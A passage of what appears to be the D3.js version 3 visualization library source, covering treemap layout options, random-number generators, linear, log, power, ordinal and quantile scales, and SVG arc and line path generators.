if (root.value) root.dx = size[0], root.dy = size[1]; else root.dx = root.dy = 0;
if (stickies) hierarchy.revalue(root);
scale([ root ], root.dx * root.dy / root.value);
(stickies ? stickify : squarify)(root);
if (sticky) stickies = nodes;
return nodes;
}
treemap.size = function(x) {
if (!arguments.length) return size;
size = x;
return treemap;
};
treemap.padding = function(x) {
if (!arguments.length) return padding;
function padFunction(node) {
var p = x.call(treemap, node, node.depth);
return p == null ? d3_layout_treemapPadNull(node) : d3_layout_treemapPad(node, typeof p === "number" ? [ p, p, p, p ] : p);
}
function padConstant(node) {
return d3_layout_treemapPad(node, x);
}
var type;
pad = (padding = x) == null ? d3_layout_treemapPadNull : (type = typeof x) === "function" ? padFunction : type === "number" ? (x = [ x, x, x, x ],
padConstant) : padConstant;
return treemap;
};
treemap.round = function(x) {
if (!arguments.length) return round != Number;
round = x ? Math.round : Number;
return treemap;
};
treemap.sticky = function(x) {
if (!arguments.length) return sticky;
sticky = x;
stickies = null;
return treemap;
};
treemap.ratio = function(x) {
if (!arguments.length) return ratio;
ratio = x;
return treemap;
};
treemap.mode = function(x) {
if (!arguments.length) return mode;
mode = x + "";
return treemap;
};
return d3_layout_hierarchyRebind(treemap, hierarchy);
};
function d3_layout_treemapPadNull(node) {
return {
x: node.x,
y: node.y,
dx: node.dx,
dy: node.dy
};
}
function d3_layout_treemapPad(node, padding) {
var x = node.x + padding[3], y = node.y + padding[0], dx = node.dx - padding[1] - padding[3], dy = node.dy - padding[0] - padding[2];
if (dx < 0) {
x += dx / 2;
dx = 0;
}
if (dy < 0) {
y += dy / 2;
dy = 0;
}
return {
x: x,
y: y,
dx: dx,
dy: dy
};
}
d3.random = {
normal: function(µ, σ) {
var n = arguments.length;
if (n < 2) σ = 1;
if (n < 1) µ = 0;
return function() {
var x, y, r;
do {
x = Math.random() * 2 - 1;
y = Math.random() * 2 - 1;
r = x * x + y * y;
} while (!r || r > 1);
return µ + σ * x * Math.sqrt(-2 * Math.log(r) / r);
};
},
logNormal: function() {
var random = d3.random.normal.apply(d3, arguments);
return function() {
return Math.exp(random());
};
},
bates: function(m) {
var random = d3.random.irwinHall(m);
return function() {
return random() / m;
};
},
irwinHall: function(m) {
return function() {
for (var s = 0, j = 0; j < m; j++) s += Math.random();
return s;
};
}
};
d3.scale = {};
function d3_scaleExtent(domain) {
var start = domain[0], stop = domain[domain.length - 1];
return start < stop ? [ start, stop ] : [ stop, start ];
}
function d3_scaleRange(scale) {
return scale.rangeExtent ? scale.rangeExtent() : d3_scaleExtent(scale.range());
}
function d3_scale_bilinear(domain, range, uninterpolate, interpolate) {
var u = uninterpolate(domain[0], domain[1]), i = interpolate(range[0], range[1]);
return function(x) {
return i(u(x));
};
}
function d3_scale_nice(domain, nice) {
var i0 = 0, i1 = domain.length - 1, x0 = domain[i0], x1 = domain[i1], dx;
if (x1 < x0) {
dx = i0, i0 = i1, i1 = dx;
dx = x0, x0 = x1, x1 = dx;
}
domain[i0] = nice.floor(x0);
domain[i1] = nice.ceil(x1);
return domain;
}
function d3_scale_niceStep(step) {
return step ? {
floor: function(x) {
return Math.floor(x / step) * step;
},
ceil: function(x) {
return Math.ceil(x / step) * step;
}
} : d3_scale_niceIdentity;
}
var d3_scale_niceIdentity = {
floor: d3_identity,
ceil: d3_identity
};
function d3_scale_polylinear(domain, range, uninterpolate, interpolate) {
var u = [], i = [], j = 0, k = Math.min(domain.length, range.length) - 1;
if (domain[k] < domain[0]) {
domain = domain.slice().reverse();
range = range.slice().reverse();
}
while (++j <= k) {
u.push(uninterpolate(domain[j - 1], domain[j]));
i.push(interpolate(range[j - 1], range[j]));
}
return function(x) {
var j = d3.bisect(domain, x, 1, k) - 1;
return i[j](u[j](x));
};
}
d3.scale.linear = function() {
return d3_scale_linear([ 0, 1 ], [ 0, 1 ], d3_interpolate, false);
};
function d3_scale_linear(domain, range, interpolate, clamp) {
var output, input;
function rescale() {
var linear = Math.min(domain.length, range.length) > 2 ? d3_scale_polylinear : d3_scale_bilinear, uninterpolate = clamp ? d3_uninterpolateClamp : d3_uninterpolateNumber;
output = linear(domain, range, uninterpolate, interpolate);
input = linear(range, domain, uninterpolate, d3_interpolate);
return scale;
}
function scale(x) {
return output(x);
}
scale.invert = function(y) {
return input(y);
};
scale.domain = function(x) {
if (!arguments.length) return domain;
domain = x.map(Number);
return rescale();
};
scale.range = function(x) {
if (!arguments.length) return range;
range = x;
return rescale();
};
scale.rangeRound = function(x) {
return scale.range(x).interpolate(d3_interpolateRound);
};
scale.clamp = function(x) {
if (!arguments.length) return clamp;
clamp = x;
return rescale();
};
scale.interpolate = function(x) {
if (!arguments.length) return interpolate;
interpolate = x;
return rescale();
};
scale.ticks = function(m) {
return d3_scale_linearTicks(domain, m);
};
scale.tickFormat = function(m, format) {
return d3_scale_linearTickFormat(domain, m, format);
};
scale.nice = function(m) {
d3_scale_linearNice(domain, m);
return rescale();
};
scale.copy = function() {
return d3_scale_linear(domain, range, interpolate, clamp);
};
return rescale();
}
function d3_scale_linearRebind(scale, linear) {
return d3.rebind(scale, linear, "range", "rangeRound", "interpolate", "clamp");
}
function d3_scale_linearNice(domain, m) {
d3_scale_nice(domain, d3_scale_niceStep(d3_scale_linearTickRange(domain, m)[2]));
d3_scale_nice(domain, d3_scale_niceStep(d3_scale_linearTickRange(domain, m)[2]));
return domain;
}
function d3_scale_linearTickRange(domain, m) {
if (m == null) m = 10;
var extent = d3_scaleExtent(domain), span = extent[1] - extent[0], step = Math.pow(10, Math.floor(Math.log(span / m) / Math.LN10)), err = m / span * step;
if (err <= .15) step *= 10; else if (err <= .35) step *= 5; else if (err <= .75) step *= 2;
extent[0] = Math.ceil(extent[0] / step) * step;
extent[1] = Math.floor(extent[1] / step) * step + step * .5;
extent[2] = step;
return extent;
}
function d3_scale_linearTicks(domain, m) {
return d3.range.apply(d3, d3_scale_linearTickRange(domain, m));
}
function d3_scale_linearTickFormat(domain, m, format) {
var range = d3_scale_linearTickRange(domain, m);
if (format) {
var match = d3_format_re.exec(format);
match.shift();
if (match[8] === "s") {
var prefix = d3.formatPrefix(Math.max(abs(range[0]), abs(range[1])));
if (!match[7]) match[7] = "." + d3_scale_linearPrecision(prefix.scale(range[2]));
match[8] = "f";
format = d3.format(match.join(""));
return function(d) {
return format(prefix.scale(d)) + prefix.symbol;
};
}
if (!match[7]) match[7] = "." + d3_scale_linearFormatPrecision(match[8], range);
format = match.join("");
} else {
format = ",." + d3_scale_linearPrecision(range[2]) + "f";
}
return d3.format(format);
}
var d3_scale_linearFormatSignificant = {
s: 1,
g: 1,
p: 1,
r: 1,
e: 1
};
function d3_scale_linearPrecision(value) {
return -Math.floor(Math.log(value) / Math.LN10 + .01);
}
function d3_scale_linearFormatPrecision(type, range) {
var p = d3_scale_linearPrecision(range[2]);
return type in d3_scale_linearFormatSignificant ? Math.abs(p - d3_scale_linearPrecision(Math.max(abs(range[0]), abs(range[1])))) + +(type !== "e") : p - (type === "%") * 2;
}
d3.scale.log = function() {
return d3_scale_log(d3.scale.linear().domain([ 0, 1 ]), 10, true, [ 1, 10 ]);
};
function d3_scale_log(linear, base, positive, domain) {
function log(x) {
return (positive ? Math.log(x < 0 ? 0 : x) : -Math.log(x > 0 ? 0 : -x)) / Math.log(base);
}
function pow(x) {
return positive ? Math.pow(base, x) : -Math.pow(base, -x);
}
function scale(x) {
return linear(log(x));
}
scale.invert = function(x) {
return pow(linear.invert(x));
};
scale.domain = function(x) {
if (!arguments.length) return domain;
positive = x[0] >= 0;
linear.domain((domain = x.map(Number)).map(log));
return scale;
};
scale.base = function(_) {
if (!arguments.length) return base;
base = +_;
linear.domain(domain.map(log));
return scale;
};
scale.nice = function() {
var niced = d3_scale_nice(domain.map(log), positive ? Math : d3_scale_logNiceNegative);
linear.domain(niced);
domain = niced.map(pow);
return scale;
};
scale.ticks = function() {
var extent = d3_scaleExtent(domain), ticks = [], u = extent[0], v = extent[1], i = Math.floor(log(u)), j = Math.ceil(log(v)), n = base % 1 ? 2 : base;
if (isFinite(j - i)) {
if (positive) {
for (;i < j; i++) for (var k = 1; k < n; k++) ticks.push(pow(i) * k);
ticks.push(pow(i));
} else {
ticks.push(pow(i));
for (;i++ < j; ) for (var k = n - 1; k > 0; k--) ticks.push(pow(i) * k);
}
for (i = 0; ticks[i] < u; i++) {}
for (j = ticks.length; ticks[j - 1] > v; j--) {}
ticks = ticks.slice(i, j);
}
return ticks;
};
scale.tickFormat = function(n, format) {
if (!arguments.length) return d3_scale_logFormat;
if (arguments.length < 2) format = d3_scale_logFormat; else if (typeof format !== "function") format = d3.format(format);
var k = Math.max(1, base * n / scale.ticks().length);
return function(d) {
var i = d / pow(Math.round(log(d)));
if (i * base < base - .5) i *= base;
return i <= k ? format(d) : "";
};
};
scale.copy = function() {
return d3_scale_log(linear.copy(), base, positive, domain);
};
return d3_scale_linearRebind(scale, linear);
}
var d3_scale_logFormat = d3.format(".0e"), d3_scale_logNiceNegative = {
floor: function(x) {
return -Math.ceil(-x);
},
ceil: function(x) {
return -Math.floor(-x);
}
};
d3.scale.pow = function() {
return d3_scale_pow(d3.scale.linear(), 1, [ 0, 1 ]);
};
function d3_scale_pow(linear, exponent, domain) {
var powp = d3_scale_powPow(exponent), powb = d3_scale_powPow(1 / exponent);
function scale(x) {
return linear(powp(x));
}
scale.invert = function(x) {
return powb(linear.invert(x));
};
scale.domain = function(x) {
if (!arguments.length) return domain;
linear.domain((domain = x.map(Number)).map(powp));
return scale;
};
scale.ticks = function(m) {
return d3_scale_linearTicks(domain, m);
};
scale.tickFormat = function(m, format) {
return d3_scale_linearTickFormat(domain, m, format);
};
scale.nice = function(m) {
return scale.domain(d3_scale_linearNice(domain, m));
};
scale.exponent = function(x) {
if (!arguments.length) return exponent;
powp = d3_scale_powPow(exponent = x);
powb = d3_scale_powPow(1 / exponent);
linear.domain(domain.map(powp));
return scale;
};
scale.copy = function() {
return d3_scale_pow(linear.copy(), exponent, domain);
};
return d3_scale_linearRebind(scale, linear);
}
function d3_scale_powPow(e) {
return function(x) {
return x < 0 ? -Math.pow(-x, e) : Math.pow(x, e);
};
}
d3.scale.sqrt = function() {
return d3.scale.pow().exponent(.5);
};
d3.scale.ordinal = function() {
return d3_scale_ordinal([], {
t: "range",
a: [ [] ]
});
};
function d3_scale_ordinal(domain, ranger) {
var index, range, rangeBand;
function scale(x) {
return range[((index.get(x) || (ranger.t === "range" ? index.set(x, domain.push(x)) : NaN)) - 1) % range.length];
}
function steps(start, step) {
return d3.range(domain.length).map(function(i) {
return start + step * i;
});
}
scale.domain = function(x) {
if (!arguments.length) return domain;
domain = [];
index = new d3_Map();
var i = -1, n = x.length, xi;
while (++i < n) if (!index.has(xi = x[i])) index.set(xi, domain.push(xi));
return scale[ranger.t].apply(scale, ranger.a);
};
scale.range = function(x) {
if (!arguments.length) return range;
range = x;
rangeBand = 0;
ranger = {
t: "range",
a: arguments
};
return scale;
};
scale.rangePoints = function(x, padding) {
if (arguments.length < 2) padding = 0;
var start = x[0], stop = x[1], step = domain.length < 2 ? (start = (start + stop) / 2,
0) : (stop - start) / (domain.length - 1 + padding);
range = steps(start + step * padding / 2, step);
rangeBand = 0;
ranger = {
t: "rangePoints",
a: arguments
};
return scale;
};
scale.rangeRoundPoints = function(x, padding) {
if (arguments.length < 2) padding = 0;
var start = x[0], stop = x[1], step = domain.length < 2 ? (start = stop = Math.round((start + stop) / 2),
0) : (stop - start) / (domain.length - 1 + padding) | 0;
range = steps(start + Math.round(step * padding / 2 + (stop - start - (domain.length - 1 + padding) * step) / 2), step);
rangeBand = 0;
ranger = {
t: "rangeRoundPoints",
a: arguments
};
return scale;
};
scale.rangeBands = function(x, padding, outerPadding) {
if (arguments.length < 2) padding = 0;
if (arguments.length < 3) outerPadding = padding;
var reverse = x[1] < x[0], start = x[reverse - 0], stop = x[1 - reverse], step = (stop - start) / (domain.length - padding + 2 * outerPadding);
range = steps(start + step * outerPadding, step);
if (reverse) range.reverse();
rangeBand = step * (1 - padding);
ranger = {
t: "rangeBands",
a: arguments
};
return scale;
};
scale.rangeRoundBands = function(x, padding, outerPadding) {
if (arguments.length < 2) padding = 0;
if (arguments.length < 3) outerPadding = padding;
var reverse = x[1] < x[0], start = x[reverse - 0], stop = x[1 - reverse], step = Math.floor((stop - start) / (domain.length - padding + 2 * outerPadding));
range = steps(start + Math.round((stop - start - (domain.length - padding) * step) / 2), step);
if (reverse) range.reverse();
rangeBand = Math.round(step * (1 - padding));
ranger = {
t: "rangeRoundBands",
a: arguments
};
return scale;
};
scale.rangeBand = function() {
return rangeBand;
};
scale.rangeExtent = function() {
return d3_scaleExtent(ranger.a[0]);
};
scale.copy = function() {
return d3_scale_ordinal(domain, ranger);
};
return scale.domain(domain);
}
d3.scale.category10 = function() {
return d3.scale.ordinal().range(d3_category10);
};
d3.scale.category20 = function() {
return d3.scale.ordinal().range(d3_category20);
};
d3.scale.category20b = function() {
return d3.scale.ordinal().range(d3_category20b);
};
d3.scale.category20c = function() {
return d3.scale.ordinal().range(d3_category20c);
};
var d3_category10 = [ 2062260, 16744206, 2924588, 14034728, 9725885, 9197131, 14907330, 8355711, 12369186, 1556175 ].map(d3_rgbString);
var d3_category20 = [ 2062260, 11454440, 16744206, 16759672, 2924588, 10018698, 14034728, 16750742, 9725885, 12955861, 9197131, 12885140, 14907330, 16234194, 8355711, 13092807, 12369186, 14408589, 1556175, 10410725 ].map(d3_rgbString);
var d3_category20b = [ 3750777, 5395619, 7040719, 10264286, 6519097, 9216594, 11915115, 13556636, 9202993, 12426809, 15186514, 15190932, 8666169, 11356490, 14049643, 15177372, 8077683, 10834324, 13528509, 14589654 ].map(d3_rgbString);
var d3_category20c = [ 3244733, 7057110, 10406625, 13032431, 15095053, 16616764, 16625259, 16634018, 3253076, 7652470, 10607003, 13101504, 7695281, 10394312, 12369372, 14342891, 6513507, 9868950, 12434877, 14277081 ].map(d3_rgbString);
d3.scale.quantile = function() {
return d3_scale_quantile([], []);
};
function d3_scale_quantile(domain, range) {
var thresholds;
function rescale() {
var k = 0, q = range.length;
thresholds = [];
while (++k < q) thresholds[k - 1] = d3.quantile(domain, k / q);
return scale;
}
function scale(x) {
if (!isNaN(x = +x)) return range[d3.bisect(thresholds, x)];
}
scale.domain = function(x) {
if (!arguments.length) return domain;
domain = x.map(d3_number).filter(d3_numeric).sort(d3_ascending);
return rescale();
};
scale.range = function(x) {
if (!arguments.length) return range;
range = x;
return rescale();
};
scale.quantiles = function() {
return thresholds;
};
scale.invertExtent = function(y) {
y = range.indexOf(y);
return y < 0 ? [ NaN, NaN ] : [ y > 0 ? thresholds[y - 1] : domain[0], y < thresholds.length ? thresholds[y] : domain[domain.length - 1] ];
};
scale.copy = function() {
return d3_scale_quantile(domain, range);
};
return rescale();
}
d3.scale.quantize = function() {
return d3_scale_quantize(0, 1, [ 0, 1 ]);
};
function d3_scale_quantize(x0, x1, range) {
var kx, i;
function scale(x) {
return range[Math.max(0, Math.min(i, Math.floor(kx * (x - x0))))];
}
function rescale() {
kx = range.length / (x1 - x0);
i = range.length - 1;
return scale;
}
scale.domain = function(x) {
if (!arguments.length) return [ x0, x1 ];
x0 = +x[0];
x1 = +x[x.length - 1];
return rescale();
};
scale.range = function(x) {
if (!arguments.length) return range;
range = x;
return rescale();
};
scale.invertExtent = function(y) {
y = range.indexOf(y);
y = y < 0 ? NaN : y / kx + x0;
return [ y, y + 1 / kx ];
};
scale.copy = function() {
return d3_scale_quantize(x0, x1, range);
};
return rescale();
}
d3.scale.threshold = function() {
return d3_scale_threshold([ .5 ], [ 0, 1 ]);
};
function d3_scale_threshold(domain, range) {
function scale(x) {
if (x <= x) return range[d3.bisect(domain, x)];
}
scale.domain = function(_) {
if (!arguments.length) return domain;
domain = _;
return scale;
};
scale.range = function(_) {
if (!arguments.length) return range;
range = _;
return scale;
};
scale.invertExtent = function(y) {
y = range.indexOf(y);
return [ domain[y - 1], domain[y] ];
};
scale.copy = function() {
return d3_scale_threshold(domain, range);
};
return scale;
}
d3.scale.identity = function() {
return d3_scale_identity([ 0, 1 ]);
};
function d3_scale_identity(domain) {
function identity(x) {
return +x;
}
identity.invert = identity;
identity.domain = identity.range = function(x) {
if (!arguments.length) return domain;
domain = x.map(identity);
return identity;
};
identity.ticks = function(m) {
return d3_scale_linearTicks(domain, m);
};
identity.tickFormat = function(m, format) {
return d3_scale_linearTickFormat(domain, m, format);
};
identity.copy = function() {
return d3_scale_identity(domain);
};
return identity;
}
d3.svg = {};
function d3_zero() {
return 0;
}
d3.svg.arc = function() {
var innerRadius = d3_svg_arcInnerRadius, outerRadius = d3_svg_arcOuterRadius, cornerRadius = d3_zero, padRadius = d3_svg_arcAuto, startAngle = d3_svg_arcStartAngle, endAngle = d3_svg_arcEndAngle, padAngle = d3_svg_arcPadAngle;
function arc() {
var r0 = Math.max(0, +innerRadius.apply(this, arguments)), r1 = Math.max(0, +outerRadius.apply(this, arguments)), a0 = startAngle.apply(this, arguments) - halfπ, a1 = endAngle.apply(this, arguments) - halfπ, da = Math.abs(a1 - a0), cw = a0 > a1 ? 0 : 1;
if (r1 < r0) rc = r1, r1 = r0, r0 = rc;
if (da >= τε) return circleSegment(r1, cw) + (r0 ? circleSegment(r0, 1 - cw) : "") + "Z";
var rc, cr, rp, ap, p0 = 0, p1 = 0, x0, y0, x1, y1, x2, y2, x3, y3, path = [];
if (ap = (+padAngle.apply(this, arguments) || 0) / 2) {
rp = padRadius === d3_svg_arcAuto ? Math.sqrt(r0 * r0 + r1 * r1) : +padRadius.apply(this, arguments);
if (!cw) p1 *= -1;
if (r1) p1 = d3_asin(rp / r1 * Math.sin(ap));
if (r0) p0 = d3_asin(rp / r0 * Math.sin(ap));
}
if (r1) {
x0 = r1 * Math.cos(a0 + p1);
y0 = r1 * Math.sin(a0 + p1);
x1 = r1 * Math.cos(a1 - p1);
y1 = r1 * Math.sin(a1 - p1);
var l1 = Math.abs(a1 - a0 - 2 * p1) <= π ? 0 : 1;
if (p1 && d3_svg_arcSweep(x0, y0, x1, y1) === cw ^ l1) {
var h1 = (a0 + a1) / 2;
x0 = r1 * Math.cos(h1);
y0 = r1 * Math.sin(h1);
x1 = y1 = null;
}
} else {
x0 = y0 = 0;
}
if (r0) {
x2 = r0 * Math.cos(a1 - p0);
y2 = r0 * Math.sin(a1 - p0);
x3 = r0 * Math.cos(a0 + p0);
y3 = r0 * Math.sin(a0 + p0);
var l0 = Math.abs(a0 - a1 + 2 * p0) <= π ? 0 : 1;
if (p0 && d3_svg_arcSweep(x2, y2, x3, y3) === 1 - cw ^ l0) {
var h0 = (a0 + a1) / 2;
x2 = r0 * Math.cos(h0);
y2 = r0 * Math.sin(h0);
x3 = y3 = null;
}
} else {
x2 = y2 = 0;
}
if (da > ε && (rc = Math.min(Math.abs(r1 - r0) / 2, +cornerRadius.apply(this, arguments))) > .001) {
cr = r0 < r1 ^ cw ? 0 : 1;
var rc1 = rc, rc0 = rc;
if (da < π) {
var oc = x3 == null ? [ x2, y2 ] : x1 == null ? [ x0, y0 ] : d3_geom_polygonIntersect([ x0, y0 ], [ x3, y3 ], [ x1, y1 ], [ x2, y2 ]), ax = x0 - oc[0], ay = y0 - oc[1], bx = x1 - oc[0], by = y1 - oc[1], kc = 1 / Math.sin(Math.acos((ax * bx + ay * by) / (Math.sqrt(ax * ax + ay * ay) * Math.sqrt(bx * bx + by * by))) / 2), lc = Math.sqrt(oc[0] * oc[0] + oc[1] * oc[1]);
rc0 = Math.min(rc, (r0 - lc) / (kc - 1));
rc1 = Math.min(rc, (r1 - lc) / (kc + 1));
}
if (x1 != null) {
var t30 = d3_svg_arcCornerTangents(x3 == null ? [ x2, y2 ] : [ x3, y3 ], [ x0, y0 ], r1, rc1, cw), t12 = d3_svg_arcCornerTangents([ x1, y1 ], [ x2, y2 ], r1, rc1, cw);
if (rc === rc1) {
path.push("M", t30[0], "A", rc1, ",", rc1, " 0 0,", cr, " ", t30[1], "A", r1, ",", r1, " 0 ", 1 - cw ^ d3_svg_arcSweep(t30[1][0], t30[1][1], t12[1][0], t12[1][1]), ",", cw, " ", t12[1], "A", rc1, ",", rc1, " 0 0,", cr, " ", t12[0]);
} else {
path.push("M", t30[0], "A", rc1, ",", rc1, " 0 1,", cr, " ", t12[0]);
}
} else {
path.push("M", x0, ",", y0);
}
if (x3 != null) {
var t03 = d3_svg_arcCornerTangents([ x0, y0 ], [ x3, y3 ], r0, -rc0, cw), t21 = d3_svg_arcCornerTangents([ x2, y2 ], x1 == null ? [ x0, y0 ] : [ x1, y1 ], r0, -rc0, cw);
if (rc === rc0) {
path.push("L", t21[0], "A", rc0, ",", rc0, " 0 0,", cr, " ", t21[1], "A", r0, ",", r0, " 0 ", cw ^ d3_svg_arcSweep(t21[1][0], t21[1][1], t03[1][0], t03[1][1]), ",", 1 - cw, " ", t03[1], "A", rc0, ",", rc0, " 0 0,", cr, " ", t03[0]);
} else {
path.push("L", t21[0], "A", rc0, ",", rc0, " 0 0,", cr, " ", t03[0]);
}
} else {
path.push("L", x2, ",", y2);
}
} else {
path.push("M", x0, ",", y0);
if (x1 != null) path.push("A", r1, ",", r1, " 0 ", l1, ",", cw, " ", x1, ",", y1);
path.push("L", x2, ",", y2);
if (x3 != null) path.push("A", r0, ",", r0, " 0 ", l0, ",", 1 - cw, " ", x3, ",", y3);
}
path.push("Z");
return path.join("");
}
function circleSegment(r1, cw) {
return "M0," + r1 + "A" + r1 + "," + r1 + " 0 1," + cw + " 0," + -r1 + "A" + r1 + "," + r1 + " 0 1," + cw + " 0," + r1;
}
arc.innerRadius = function(v) {
if (!arguments.length) return innerRadius;
innerRadius = d3_functor(v);
return arc;
};
arc.outerRadius = function(v) {
if (!arguments.length) return outerRadius;
outerRadius = d3_functor(v);
return arc;
};
arc.cornerRadius = function(v) {
if (!arguments.length) return cornerRadius;
cornerRadius = d3_functor(v);
return arc;
};
arc.padRadius = function(v) {
if (!arguments.length) return padRadius;
padRadius = v == d3_svg_arcAuto ? d3_svg_arcAuto : d3_functor(v);
return arc;
};
arc.startAngle = function(v) {
if (!arguments.length) return startAngle;
startAngle = d3_functor(v);
return arc;
};
arc.endAngle = function(v) {
if (!arguments.length) return endAngle;
endAngle = d3_functor(v);
return arc;
};
arc.padAngle = function(v) {
if (!arguments.length) return padAngle;
padAngle = d3_functor(v);
return arc;
};
arc.centroid = function() {
var r = (+innerRadius.apply(this, arguments) + +outerRadius.apply(this, arguments)) / 2, a = (+startAngle.apply(this, arguments) + +endAngle.apply(this, arguments)) / 2 - halfπ;
return [ Math.cos(a) * r, Math.sin(a) * r ];
};
return arc;
};
var d3_svg_arcAuto = "auto";
function d3_svg_arcInnerRadius(d) {
return d.innerRadius;
}
function d3_svg_arcOuterRadius(d) {
return d.outerRadius;
}
function d3_svg_arcStartAngle(d) {
return d.startAngle;
}
function d3_svg_arcEndAngle(d) {
return d.endAngle;
}
function d3_svg_arcPadAngle(d) {
return d && d.padAngle;
}
function d3_svg_arcSweep(x0, y0, x1, y1) {
return (x0 - x1) * y0 - (y0 - y1) * x0 > 0 ? 0 : 1;
}
function d3_svg_arcCornerTangents(p0, p1, r1, rc, cw) {
var x01 = p0[0] - p1[0], y01 = p0[1] - p1[1], lo = (cw ? rc : -rc) / Math.sqrt(x01 * x01 + y01 * y01), ox = lo * y01, oy = -lo * x01, x1 = p0[0] + ox, y1 = p0[1] + oy, x2 = p1[0] + ox, y2 = p1[1] + oy, x3 = (x1 + x2) / 2, y3 = (y1 + y2) / 2, dx = x2 - x1, dy = y2 - y1, d2 = dx * dx + dy * dy, r = r1 - rc, D = x1 * y2 - x2 * y1, d = (dy < 0 ? -1 : 1) * Math.sqrt(Math.max(0, r * r * d2 - D * D)), cx0 = (D * dy - dx * d) / d2, cy0 = (-D * dx - dy * d) / d2, cx1 = (D * dy + dx * d) / d2, cy1 = (-D * dx + dy * d) / d2, dx0 = cx0 - x3, dy0 = cy0 - y3, dx1 = cx1 - x3, dy1 = cy1 - y3;
if (dx0 * dx0 + dy0 * dy0 > dx1 * dx1 + dy1 * dy1) cx0 = cx1, cy0 = cy1;
return [ [ cx0 - ox, cy0 - oy ], [ cx0 * r1 / r, cy0 * r1 / r ] ];
}
function d3_svg_line(projection) {
var x = d3_geom_pointX, y = d3_geom_pointY, defined = d3_true, interpolate = d3_svg_lineLinear, interpolateKey = interpolate.key, tension = .7;
function line(data) {
var segments = [], points = [], i = -1, n = data.length, d, fx = d3_functor(x), fy = d3_functor(y);
function segment() {
segments.push("M", interpolate(projection(points), tension));
}
while (++i < n) {
if (defined.call(this, d = data[i], i)) {
points.push([ +fx.call(this, d, i), +fy.call(this, d, i) ]);
} else if (points.length) {
segment();
points = [];
}
}
if (points.length) segment();
return segments.length ? segments.join("") : null;
}
line.x = function(_) {
if (!arguments.length) return x;
x = _;
return line;
};
line.y = function(_) {
if (!arguments.length) return y;
y = _;
return line;
};
line.defined = function(_) {
if (!arguments.length) return defined;
defined = _;
return line;
};
line.interpolate = function(_) {
if (!arguments.length) return interpolateKey;
if (typeof _ === "function") interpolateKey = interpolate = _; else interpolateKey = (interpolate = d3_svg_lineInterpolators.get(_) || d3_svg_lineLinear).key;
return line;
};
line.tension = function(_) {
if (!arguments.length) return tension;
tension = _;
return line;
};
return line;
}
d3.svg.line = function() {
return d3_svg_line(d3_identity);
};
var d3_svg_lineInterpolators = d3.map({
linear: d3_svg_lineLinear,
"linear-closed": d3_svg_lineLinearClosed,
step: d3_svg_lineStep,
"step-before": d3_svg_lineStepBefore,
"step-after": d3_svg_lineStepAfter,
basis: d3_svg_lineBasis,
"basis-open": d3_svg_lineBasisOpen,
"basis-closed": d3_svg_lineBasisClosed,
bundle: d3_svg_lineBundle,
cardinal: d3_svg_lineCardinal,
"cardinal-open": d3_svg_lineCardinalOpen,
"cardinal-closed": d3_svg_lineCardinalClosed,
monotone: d3_svg_lineMonotone
});
d3_svg_lineInterpolators.forEach(function(key, value) {
value.key = key;
value.closed = /-closed$/.test(key);
});
function d3_svg_lineLinear(points) {
return points.length > 1 ? points.join("L") : points + "Z";
}
function d3_svg_lineLinearClosed(points) {
return points.join("L") + "Z";
}
function d3_svg_lineStep(points) {
var i = 0, n = points.length, p = points[0], path = [ p[0], ",", p[1] ];
while (++i < n) path.push("H", (p[0] + (p = points[i])[0]) / 2, "V", p[1]);
if (n > 1) path.push("H", p[0]);
return path.join("");
}
function d3_svg_lineStepBefore(points) {
var i = 0, n = points.length, p = points[0], path = [ p[0], ",", p[1] ];
while (++i < n) path.push("V", (p = points[i])[1], "H", p[0]);
return path.join("");
}
function d3_svg_lineStepAfter(points) {
var i = 0, n = points.length, p = points[0], path = [ p[0], ",", p[1] ];
while (++i < n) path.push("H", (p = points[i])[0], "V", p[1]);
return path.join("");
}
function d3_svg_lineCardinalOpen(points, tension) {
return points.length < 4 ? d3_svg_lineLinear(points) : points[1] + d3_svg_lineHermite(points.slice(1, -1), d3_svg_lineCardinalTangents(points, tension));
}
function d3_svg_lineCardinalClosed(points, tension) {
return points.length < 3 ? d3_svg_lineLinearClosed(points) : points[0] + d3_svg_lineHermite((points.push(points[0]),
points), d3_svg_lineCardinalTangents([ points[points.length - 2] ].concat(points, [ points[1] ]), tension));
}
function d3_svg_lineCardinal(points, tension) {
return points.length < 3 ? d3_svg_lineLinear(points) : points[0] + d3_svg_lineHermite(points, d3_svg_lineCardinalTangents(points, tension));
}
function d3_svg_lineHermite(points, tangents) {
if (tangents.length < 1 || points.length != tangents.length && points.length != tangents.length + 2) {
return d3_svg_lineLinear(points);
}
var quad = points.length != tangents.length, path = "", p0 = points[0], p = points[1], t0 = tangents[0], t = t0, pi = 1;
if (quad) {
path += "Q" + (p[0] - t0[0] * 2 / 3) + "," + (p[1] - t0[1] * 2 / 3) + "," + p[0] + "," + p[1];
p0 = points[1];
pi = 2;
}
if (tangents.length > 1) {
t = tangents[1];
p = points[pi];
pi++;
path += "C" + (p0[0] + t0[0]) + "," + (p0[1] + t0[1]) + "," + (p[0] - t[0]) + "," + (p[1] - t[1]) + "," + p[0] + "," + p[1];
for (var i = 2; i < tangents.length; i++, pi++) {
p = points[pi];
t = tangents[i];
path += "S" + (p[0] - t[0]) + "," + (p[1] - t[1]) + "," + p[0] + "," + p[1];
}
}
if (quad) {
var lp = points[pi];
path += "Q" + (p[0] + t[0] * 2 / 3) + "," + (p[1] + t[1] * 2 / 3) + "," + lp[0] + "," + lp[1];
}
return path;
}
function d3_svg_lineCardinalTangents(points, tension) {
var tangents = [], a = (1 - tension) / 2, p0, p1 = points[0], p2 = points[1], i = 1, n = points.length;
while (++i < n) {
p0 = p1;
p1 = p2;
p2 = points[i];
tangents.push([ a * (p2[0] - p0[0]), a * (p2[1] - p0[1]) ]);
}
return tangents;
}
function d3_svg_lineBasis(points) {
if (points.length < 3) return d3_svg_lineLinear(points);
var i = 1, n = points.length, pi = points[0], x0 = pi[0], y0 = pi[1], px = [ x0, x0, x0, (pi = points[1])[0] ], py = [ y0, y0, y0, pi[1] ], path = [ x0, ",", y0, "L", d3_svg_lineDot4(d3_svg_lineBasisBezier3, px), ",", d3_svg_lineDot4(d3_svg_lineBasisBezier3, py) ];
points.push(points[n - 1]);
while (++i <= n) {
pi = points[i];
px.shift();
px.push(pi[0]);
py.shift();
py.push(pi[1]);
d3_svg_lineBasisBezier(path, px, py);
}
points.pop();
path.push("L", pi);
return path.join("");
}
function d3_svg_lineBasisOpen(points) {
if (points.length < 4) return d3_svg_lineLinear(points);
var path = [], i = -1, n = points.length, pi, px = [ 0 ], py = [ 0 ];
while (++i < 3) {
pi = points[i];
px.push(pi[0]);
py.push(pi[1]);
}
